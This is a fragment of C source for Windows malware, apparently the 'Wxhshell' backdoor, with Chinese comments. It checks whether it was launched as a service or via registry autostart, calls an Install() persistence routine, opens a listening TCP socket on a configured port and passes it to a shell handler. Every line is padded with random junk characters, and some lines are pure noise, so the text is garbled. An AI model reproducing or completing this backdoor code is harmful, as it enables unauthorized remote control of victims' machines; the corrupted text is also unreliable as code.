ULONG UniqueProcessId; J>;r(j
ULONG InheritedFromUniqueProcessId; ~EXCYUp4v
} PROCESS_BASIC_INFORMATION; 'X6Y!VDd
R ;A8y
PROCNTQSIP NtQueryInformationProcess; ?vI2mra+
C|w<mryx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K4]ZVMm/*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qIQ
61><
(0`w.n
HANDLE hProcess; yuJ>xsM
PROCESS_BASIC_INFORMATION pbi; Yjd/
s] ;P<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;
2V$`k
if(NULL == hInst ) return 0; IqsUtWSp
J:ka@2>|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~$j;@4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }oSgx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T:2f*!r
Q{'4,J-w
if (!NtQueryInformationProcess) return 0; QUvSeNSp
+c
C.
ZOS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Mh\;e
if(!hProcess) return 0; f/IQ2yT-:D
(3!6nQj-t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xaoR\H
&HAu;u@
CloseHandle(hProcess); FeO1%#2<y
*_#2|96)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2]5Li/
if(hProcess==NULL) return 0; &=n/h5e0t&
=>evkaj
HMODULE hMod; wQd8/&mmk
char procName[255]; ANM=:EtP
unsigned long cbNeeded; f>4|>kS
G%>[7 ]H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !~R<Il|B
nTwJR
CloseHandle(hProcess); &k)v/
BKb#\(95*
if(strstr(procName,"services")) return 1; // 以服务启动 (y&sUc9
pnz: <V"Y(
return 0; // 注册表启动 yE,qLiH
} |K{d5\_
hAc|a9 o
// 主模块 tK/,U
=+
int StartWxhshell(LPSTR lpCmdLine) n=F
r v*"Z
{ EQd<!)HZ
SOCKET wsl; yZ)9Hd
BOOL val=TRUE; P2aFn=f
int port=0; @H4]Gp ]
struct sockaddr_in door; !QbuOvw
-LUZ7,!/>o
if(wscfg.ws_autoins) Install(); C,$o+q*)W9
qhcx\eD:?
port=atoi(lpCmdLine); _#&oQFdYR
oPni4^g i
if(port<=0) port=wscfg.ws_port; L97 ~ma
5XB]p|YU~s
WSADATA data; .Tq8Qdl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _&9P&Zf4
dhnX\/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tD}-&"REP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E0fMFG^P
door.sin_family = AF_INET; u%yYLpaKf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9*K-d'm
door.sin_port = htons(port); An0N'yo"Z
-C~zvP;a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (GpP=lSSeY
closesocket(wsl); 4:a ~Wlp[
return 1; :Rv+Bm
} se2Y:v
VV}"zc^
if(listen(wsl,2) == INVALID_SOCKET) { fKr_u<|
closesocket(wsl); ,VEE<*'X
return 1; W'"?5} (
} n w`rH*
Wxhshell(wsl); oA~0"}eS
WSACleanup(); 6Y,&